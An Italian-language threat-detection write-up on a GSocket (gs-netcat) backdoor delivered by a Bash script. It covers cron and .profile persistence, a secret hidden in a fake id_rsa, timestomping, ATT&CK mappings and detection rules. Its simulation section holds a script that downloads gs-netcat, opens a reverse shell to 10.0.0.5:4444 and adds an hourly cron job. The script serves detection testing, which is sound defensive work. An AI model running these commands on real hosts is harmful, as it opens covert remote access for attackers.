Backdoor GSocket Consegnato Tramite Script Bash
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Uno script Bash armato scarica e avvia un client GSocket (gs-netcat) per stabilire una backdoor su host Linux e macOS. Mantiene la persistenza attraverso cron job e modifiche a .profile, mentre salva un segreto condiviso all’interno di un falso file chiave SSH. Per ridurre la visibilità forense, lo script utilizza metodi antiforensi che alterano i timestamp e nascondono le prove di modifica dei file. La backdoor risultante comunica verso l’esterno attraverso la rete di relay GSocket a un IP remoto.
Indagine
Il ricercatore ha fatto esplodere lo script in una sandbox e ha confermato il recupero del gs-netcat binario, la creazione di un’entrata di persistenza basata su cron e la manomissione dei file di avvio dell’utente. Un file ELF falso chiamato id_rsa viene rilasciato nella directory .ssh , con il segreto condiviso incorporato in quello che sembra essere una chiave SSH. Sono state identificate anche routine di reset dei timestamp, mostrando sforzi deliberati per confondere le tempistiche forensi. Lo script supporta più sistemi simili a Unix rilevando prima il sistema operativo host.
Mitigazione
I difensori dovrebbero bloccare il traffico in uscita verso domini e indirizzi IP di relay GSocket conosciuti e osservare voci di cron non autorizzate o modifiche sospette a .profile and .ssh percorsi. La logica di rilevamento basata su host dovrebbe segnalare l’uso del gs-netcat nomefile così come i comandi comunemente usati per manipolare i timestamp. Controlli a privilegio minimo e monitoraggio dell’integrità sui file di avvio possono ulteriormente limitare la capacità della backdoor di persistere inosservata.
Risposta
Se compaiono questi indicatori, isolare l’host, acquisire lo script dannoso e i binari rilasciati, e iniziare una revisione forense completa. Rimuovere il meccanismo di persistenza del cron e tutti gli artefatti dannosi, ruotare le chiavi SSH interessate e invalidare qualsiasi segreto condiviso. Ampliare la caccia in tutto l’ambiente per cercare indicatori corrispondenti e aggiornare il contenuto di rilevamento per catturare attività simili.
"graph TB %% Class definitions classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% Technique nodes tech_initial_user_execution["<b>Technique</b> – <b>T1204.004 User Execution</b>: Malicious Bash script executed by a user."] class tech_initial_user_execution technique tech_persistence_cron["<b>Technique</b> – <b>T1053.003 Scheduled Task Job Cron</b>: Hourly cron job kills and restarts a disguised gsu2011netcat binary."] class tech_persistence_cron technique tech_boot_init["<b>Technique</b> – <b>T1037 Boot Logon Initialization Scripts</b>: Injection of malicious commands into the useru2019s .profile for persistence."] class tech_boot_init technique tech_compromise_binary["<b>Technique</b> – <b>T1554 Compromise Host Software Binary</b>: gsu2011netcat copied to ~/.ssh/putty and masqueraded as id_rsa."] class tech_compromise_binary technique tech_private_keys["<b>Technique</b> – <b>T1552.004 Unsecured Credentials Private Keys</b>: Shared secret stored inside a fake SSH private key."] class tech_private_keys technique tech_timestomp["<b>Technique</b> – <b>T1070.006 Timestomp</b>: Custom timestamp tracking and restoration to hide file modifications."] class tech_timestomp technique tech_time_evasion["<b>Technique</b> – <b>T1497.003 Virtualization Sandbox Evasion Time Based</b>: Timestamp manipulation to evade analysis environments."] class tech_time_evasion technique tech_protocol_tunneling["<b>Technique</b> – <b>T1572 Protocol Tunneling</b>: Network traffic tunneled through a GSocket relay network."] class tech_protocol_tunneling technique tech_proxy_multi["<b>Technique</b> – <b>T1090 Multiu2011hop Proxy</b>: Traffic forwarded through the GSocket CDN for internal and external proxying."] class tech_proxy_multi technique tech_ssh_lateral["<b>Technique</b> – <b>T1021.004 Remote Services SSH</b> / <b>T1563.001 SSH Hijacking</b>: gsu2011netcat executed as a disguised SSH key for lateral movement."] class tech_ssh_lateral technique %% Tool nodes tool_gsnetcat["<b>Tool</b> – <b>Name</b>: gsu2011netcat<br/><b>Description</b>: Netcat variant used for covert command and control."] class tool_gsnetcat tool tool_gsocket["<b>Tool</b> – <b>Name</b>: GSocket CDN<br/><b>Description</b>: Relay network providing tunneling and proxy services."] class tool_gsocket tool %% Attack flow connections tech_initial_user_execution –>|enables| tech_persistence_cron tech_persistence_cron –>|enables| tech_boot_init tech_boot_init –>|enables| tech_compromise_binary tech_compromise_binary –>|uses| tool_gsnetcat tech_compromise_binary –>|enables| tech_private_keys tech_private_keys –>|supports| tech_timestomp tech_timestomp –>|supports| tech_time_evasion tech_time_evasion –>|enables| tech_protocol_tunneling tech_protocol_tunneling –>|uses| tool_gsocket tool_gsocket –>|facilitates| tech_proxy_multi tech_proxy_multi –>|enables| tech_ssh_lateral tech_ssh_lateral –>|uses| tool_gsnetcat "
Flusso di Attacco
Rilevamenti
File Cron È Stato Creato (via file_event)
Visualizza
File Nascosto È Stato Creato su Host Linux (via file_event)
Visualizza
Possibile Manipolazione di Stringhe Codificate in Base64 (via cmdline)
Visualizza
IOCs (HashSha256) da rilevare: Backdoor GSocket Consegnato Attraverso Script Bash
Visualizza
Installazione Backdoor GSocket via Script Bash con gs-netcat e Persistenza Job Cron [Creazione Processo Linux]
Visualizza
Esecuzione Simulazione
Prerequisito: il Controllo Pre-Flight Telemetry & Baseline deve essere passato.
-
Narrazione Dell’Attacco & Comandi:
Un attaccante con privilegi limitati ottiene ilgs‑netcatbinario da un repository pubblico, lo posiziona in/usr/local/bin, e lo avvia per aprire una shell inversa sulla porta 4444. Per mantenere l’accesso, l’attaccante crea un cron job che riavvia la backdoor ogni ora. I passaggi vengono eseguiti da una shell compromessa sull’host target. -
Script di Test di Regressione:
#!/usr/bin/env bash set -euo pipefail # 1. Scarica il placeholder gs-netcat (simulato con un piccolo binario fittizio) echo "[*] Scaricamento placeholder gs-netcat..." curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64 chmod +x /usr/local/bin/gs-netcat # 2. Avvia gs-netcat in background (shell inversa all'IP dell'attaccante 10.0.0.5) echo "[*] Avvio shell inversa gs-netcat..." /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash & GSN_PID=$! # 3. Verifica che il processo sia in esecuzione sleep 2 ps -p "$GSN_PID" -o pid,cmd # 4. Crea un cron job che riavvia gs-netcat all'inizio di ogni ora echo "[*] Aggiunta persistenza tramite cron..." (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab - echo "[+] Simulazione completata. In attesa di rilevamento." -
Comandi di Pulizia:
#!/usr/bin/env bash set -euo pipefail # Rimuovi l'entry cron aggiunta sopra echo "[*] Rimozione del job cron dannoso..." crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab - # Termina i processi gs-netcat in esecuzione echo "[*] Terminazione processi gs-netcat..." pkill -f "/usr/local/bin/gs-netcat" || true # Elimina il binario echo "[*] Eliminazione binario gs-netcat..." rm -f /usr/local/bin/gs-netcat echo "[+] Pulizia terminata."